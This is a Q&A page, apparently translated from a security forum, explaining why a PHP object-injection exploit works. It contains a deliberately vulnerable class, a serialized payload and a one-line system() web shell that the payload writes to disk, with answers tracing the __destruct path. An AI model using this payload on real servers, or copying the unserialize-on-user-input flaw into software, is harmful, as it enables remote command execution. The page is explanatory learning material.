¿Por qué funciona este exploit de inyección de objetos PHP?

1

Recientemente he creado un código PHP vulnerable a la inyección de objetos. Aquí está el código de mi archivo one.php donde deserializo el parámetro data :

<?php

class utkarsh {

    public $logfile = "delete.txt";
    public $logdata = "test1";

    function check()
    {
        echo "Services are good to go <br>";    
    }

    function __destruct()
    {
        if (file_put_contents(__DIR__ . '/'. $this->logfile, $this->logdata));
        echo "File contents has been uploaded";
    }
}

$v1 = unserialize(@$_GET['data']);

$object =  new utkarsh();
$object->check();

?>

Y ejecuto este código con éxito.

Ahora es el momento de explotarlo, así que hago otro archivo PHP (llamado two.php ) para la serialización. Observe el valor de $logdata .

<?php

class utkarsh 
{

    public $logfile = "test.php";
    public $logdata = '<?php system($_GET["cmd"])?>';

}

$v1 = new utkarsh();

$v2 = serialize($v1);

echo htmlspecialchars($v2)

?>

Y tengo esto:

O:7:"utkarsh":2:{s:7:"logfile";s:8:"test.php";s:7:"logdata";s:28:"<?php system($_GET["cmd"])?>";}

Cuando inyecto esta carga útil en el parámetro data de one.php cargué exitosamente mi shell de una línea.

¿Pero cómo? Ni siquiera hice ningún archivo test.php en mi computadora. ¿Cómo puede esto crear automáticamente ese archivo en mi computadora?

    
pregunta januu agrawal 28.12.2017 - 12:51
fuente

2 respuestas

5

Los dos archivos

Es importante comprender sus diferentes roles de los dos archivos PHP que está utilizando:

  • one.php es el sistema vulnerable, el que está atacando.
  • two.php La segunda es solo una herramienta que el atacante puede usar para generar el objeto serializado (es decir, data ). No se supone que esté presente en el sistema que está atacando, y no lo necesita en absoluto. También podrías generar la cadena data a mano.

Entonces, en un ejemplo real, los dos archivos ni siquiera estarían presentes en el mismo sistema. El primero se ejecutaría en el servidor que está siendo atacado, y el segundo se ejecutaría localmente en la máquina de los atacantes.

Entonces, ¿por qué el mismo nombre de clase en ambos archivos? Debido a que cuando data se deserializa en el servidor, desea que cree una instancia de la clase utkarsh . Después de todo, esa es la clase que escribirá el archivo por ti. Para que one.php cree una instancia de ese objeto, data necesita contener ese nombre de objeto. Y una manera fácil de crear una cadena de objeto serializada que contenga ese nombre de clase es crear una clase diferente con ese nombre y serializarla, tal como lo hizo en two.php .

Tenga en cuenta que cuando one.php ejecuta unserialize crea una instancia del utkarsh que conoce en one.php y no del de two.php .

El exploit actual

La parte explotada de su proceso es realizar una solicitud de one.php con el objeto serializado en el parámetro data . Entonces, ¿por qué eso resulta en una hazaña exitosa? Vamos a ver, paso a paso, lo que realmente sucede cuando se ejecuta one.php .

  1. La primera fila que realmente hace algo es esta:

    $v1 = unserialize(@$_GET['data']);
    

    Dado el data que proporcionó, creará un objeto llamado $v1 de la clase utkarsh (como se define en one.php ) con las siguientes propiedades:

    $logfile = "test.php";
    $logdata = '<?php system($_GET["cmd"])?>';
    
  2. Luego está esto:

    $object =  new utkarsh();
    $object->check(); 
    

    Esto crea otra instancia de la clase utkarsh . Pero no es realmente relevante para el exploit de ninguna manera, por lo que puedo ver, esto debería funcionar igual de bien sin esas dos líneas.

  3. Luego llegamos al final del script. Cuando PHP llega al final de un script, ejecuta una "secuencia de apagado". Eso incluye llamar al método __destruct en todos los objetos. Entonces para $v1 ejecutará este pequeño fragmento de código:

    file_put_contents(__DIR__ . '/'. $this->logfile, $this->logdata)
    

    O, si ingresamos los valores de las variables:

    file_put_contents(__DIR__ . '/test.php', '<?php system($_GET["cmd"])?>')
    

    Ahí lo tienes. Tiene razón en que "usted" no escribió el archivo; en su lugar, engañó al script PHP para que escribiera la puerta trasera para usted.

¿Por qué es vulnerable el sistema?

La razón principal por la que esta vulnerabilidad es posible es que pasa los datos de usuario a unserialize . Eso permite que un atacante cree objetos en estados en los que nunca se encontraría durante la ejecución "normal" del programa, lo que permite que el programa tenga efectos inesperados.

    
respondido por el Anders 28.12.2017 - 13:55
fuente
3

Si usas

class utkarsh {

    public $logfile = "delete.txt";
    public $logdata = "test1";

    function check()
    {
        echo "Services are good to go <br>";    
    }

    function __destruct()
    {
        if (file_put_contents(__DIR__ . '/'. $this->logfile, $this->logdata));
        echo "File contents has been uploaded";
    }
}

Luego, el intérprete de PHP llamará a __destruct , lo que significa que creará un archivo $logfile con el contenido $logdata .

Ahora, cuando anula la serialización de un objeto, crea un objeto vacío y completa los miembros. Esto significa que un atacante puede controlar el $logfile y el $logdata porque el valor para esos están dentro de los datos seralizados.

Puede pensar que la serialización produce una cadena como logfile=delete.txt;logdata=test1 y luego unseralize crea un utkarsh y lee logfile y logdata de esa cadena y establece las variables $logfile , $logdata en consecuencia. Esto significa que un atacante puede crear una cadena logfile=someotherfile.php;logdata=<?php muahahaha();?> y esto resultará en un objeto de la clase utkarsh con $logfile = "someotherfile.php" y $logdata = "<?php muahahah();?> y si el intérprete de PHP llama a __destruct() , tendrá un nuevo archivo en ese servidor web

Recuerde: si no realiza la serialización de los datos, le otorga al proveedor de entrada el control completo sobre el estado interno del objeto que resulta de la deserialización, lo que les permite establecer los miembros al valor que desee el proveedor de entrada.

    
respondido por el mroman 28.12.2017 - 22:18
fuente

Lea otras preguntas en las etiquetas